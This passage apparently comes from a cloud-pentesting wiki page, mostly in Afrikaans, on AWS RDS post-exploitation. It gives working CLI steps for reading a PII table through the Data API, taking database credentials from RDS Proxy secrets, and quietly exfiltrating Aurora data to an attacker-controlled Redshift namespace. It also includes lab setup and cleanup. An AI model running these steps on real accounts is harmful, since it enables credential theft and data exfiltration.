aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
Aantekeninge:
|
||||
- As multi-statement SQL deur `rds-data` geweier word, voer aparte `execute-statement`-oproepe uit.
|
||||
- Vir enjinne waar `modify-db-cluster --enable-http-endpoint` geen effek het nie, gebruik `rds enable-http-endpoint --resource-arn`.
|
||||
- Maak seker die enjin/weergawe ondersteun werklik die `Data API`; anders sal `HttpEndpointEnabled` op `False` bly.
|
||||
|
||||
|
||||
### Verkry DB-credentials via RDS Proxy auth-sekrete (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die secret om databasis-credentials te bekom. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-creds maak. As die secret 'n CMK gebruik, kan verkeerd-afgebakende KMS-magtigings ook `kms:Decrypt` toelaat.
|
||||
|
||||
Vereiste permissies (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` op die verwysde SecretArn
|
||||
- Opsioneel as die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
|
||||
|
||||
Impak: Onmiddellike openbaarmaking van die DB gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere laterale beweging moontlik.
|
||||
|
||||
Stappe
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (minimaal om te reproduseer)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Opruiming (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Onopgemerkde deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Misbruik Aurora PostgreSQL zero‑ETL-integrasie om produksiedata deurlopend te repliseer na 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna-real-time datakopie opstel sonder DB creds, snapshots of netwerkblootstelling.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Skep Redshift Serverless namespace + werkgroep</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Konfigureer Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Skep Aurora PostgreSQL kluster (aktiveer Data API en logiese replikasie)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Skep die zero‑ETL-integrasie vanaf RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materialiseer en opvra gerepliseerde data in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
Bewyse waargeneem tydens die toets:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon prior to DB creation.
|
||||
- Na CREATE DATABASE FROM INTEGRATION het die lys van tabelle die skema ztl en tabel customers getoon; seleksie van ztl.customers het 2 rye teruggegee (Alice, Bob).
|
||||
|
||||
Impak: Deurlopende byna-regstreekse exfiltration van geselekteerde Aurora PostgreSQL tables na Redshift Serverless wat deur die aanvaller beheer word, sonder om database credentials, backups, of network access tot die source cluster te gebruik.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user